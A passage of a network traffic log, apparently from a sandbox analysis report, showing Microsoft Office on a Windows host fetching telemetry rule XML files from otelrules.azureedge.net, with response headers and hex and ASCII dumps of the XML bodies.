2024-12-07 16:36:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:02 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e2bfbc9d-f01e-0085-0f03-4888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163602Z-r1cf579d778qlpkrhC1EWRpfc800000003mg000000001xt6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:02 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:02 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:02 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 42c4dea6-f01e-0099-6c03-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163602Z-r1cf579d7782ctslhC1EWRfbrw0000000380000000008wmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:03 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:02 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:03 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 22946db9-b01e-0021-4e03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163603Z-r1cf579d7786c2tshC1EWRr1gc00000002dg000000007kv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:03 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:03 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:03 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9a7d6e1d-d01e-00a1-4e08-4835b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163603Z-r1cf579d778dfdgnhC1EWRd3w000000002s00000000016qu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:03 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:03 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:03 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 1dad0878-201e-0071-1606-48ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163603Z-r1cf579d7786c2tshC1EWRr1gc00000002k00000000027hw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:03 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:04 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:04 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 8332b9fd-c01e-0079-1704-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163604Z-r1cf579d7786c2tshC1EWRr1gc00000002hg0000000036fw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:04 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:04 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:05 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fdf36bd3-a01e-0070-1e03-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163605Z-r1cf579d778d5zkmhC1EWRk6h80000000390000000006yw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:05 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:05 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:05 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 812207fe-e01e-0099-5703-48da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163605Z-r1cf579d778w59f9hC1EWRze6w0000000320000000006tzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:05 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:05 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:05 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a7f22c35-701e-001e-6403-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163605Z-r1cf579d778mvsklhC1EWRkavg0000000300000000009fhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:05 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:05 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:05 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 62ef0171-501e-000a-5a03-480180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163605Z-r1cf579d778xq4f9hC1EWRx41g00000002n0000000007azf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:05 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:06 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:06 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3c0425b1-401e-0047-7c03-488597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163606Z-r1cf579d778qlpkrhC1EWRpfc800000003n0000000001ba8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:06 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:07 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:07 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 315ad4be-c01e-0014-2a03-48a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163607Z-r1cf579d778d5zkmhC1EWRk6h8000000037g000000008s1x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:07 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" 